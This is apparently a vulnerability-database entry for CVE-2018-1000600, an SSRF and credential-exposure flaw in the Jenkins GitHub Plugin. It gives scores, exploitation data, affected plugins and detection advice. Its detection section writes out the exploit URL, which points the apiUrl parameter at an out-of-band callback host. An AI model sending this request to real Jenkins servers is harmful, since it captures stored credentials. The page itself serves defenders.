cbcvebase.
CVE-2018-1000600
published 2018-06-26

CVE-2018-1000600: A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCredentialsCreator.java that allows…

PriorityP183high8.8CVSS 3.0
AVNACLPRNUIRSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
90.89%
99.8th percentile
A exposure of sensitive information vulnerability exists in Jenkins GitHub Plugin 1.29.1 and earlier in GitHubTokenCredentialsCreator.java that allows attackers to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Affected

17 ranges
VendorProductVersion rangeFixed in
jenkinsaws_codebuild_plugin——
jenkinsaws_codedeploy_plugin——
jenkinsaws_codepipeline_plugin——
jenkinsbadge_plugin——
jenkinscollabnet_plugin——
jenkinscollabnet_plugins_plugin——
jenkinsconfiguration_as_code_plugin——
jenkinscredentials_binding_plugin——
jenkinscredentials_plugin——
jenkinsfortify_cloudscan_plugin——
jenkinsgithub<= 1.29.1—
jenkinsopenstack_cloud_plugin——
jenkinsos_connector_plugin——
jenkinssaml_plugin——
jenkinsssh_credentials_plugin——
jenkinsthis_feature_applies_to_connections_by_this_plugin——
jenkinsurltrigger_plugin——

Detection & IOCsextracted from sources · hover to see the quote

url/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}↗
path/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword↗
  • →Detect unauthenticated or low-privilege GET requests to the GitHubTokenCredentialsCreator createTokenByPassword endpoint with an external apiUrl parameter — indicates SSRF exploitation attempt. ↗
  • →Flag GET (non-POST) requests to the createTokenByPassword form action endpoint; the vulnerability is exploitable via GET due to missing CSRF (POST) enforcement. ↗
  • →Alert on requests to the Jenkins GitHub Plugin credential-creation endpoint by users with only Overall/Read access — the endpoint does not enforce permission checks. ↗
  • →Confirm exploitation by observing an outbound HTTP callback (OOB interaction) from the Jenkins server to an attacker-controlled host triggered via the apiUrl parameter. ↗
  • ·The SSRF endpoint requires the attacker to supply a credentials ID obtained through a separate method; the vulnerability alone does not expose credential IDs — a chained attack is needed. ↗
  • ·Affected versions are Jenkins GitHub Plugin 1.29.1 and earlier; version 1.29.2+ is not vulnerable. ↗

CVSS provenance

nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:P/I:N/A:N
vulncheck8.8HIGH
vendor_redhat8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.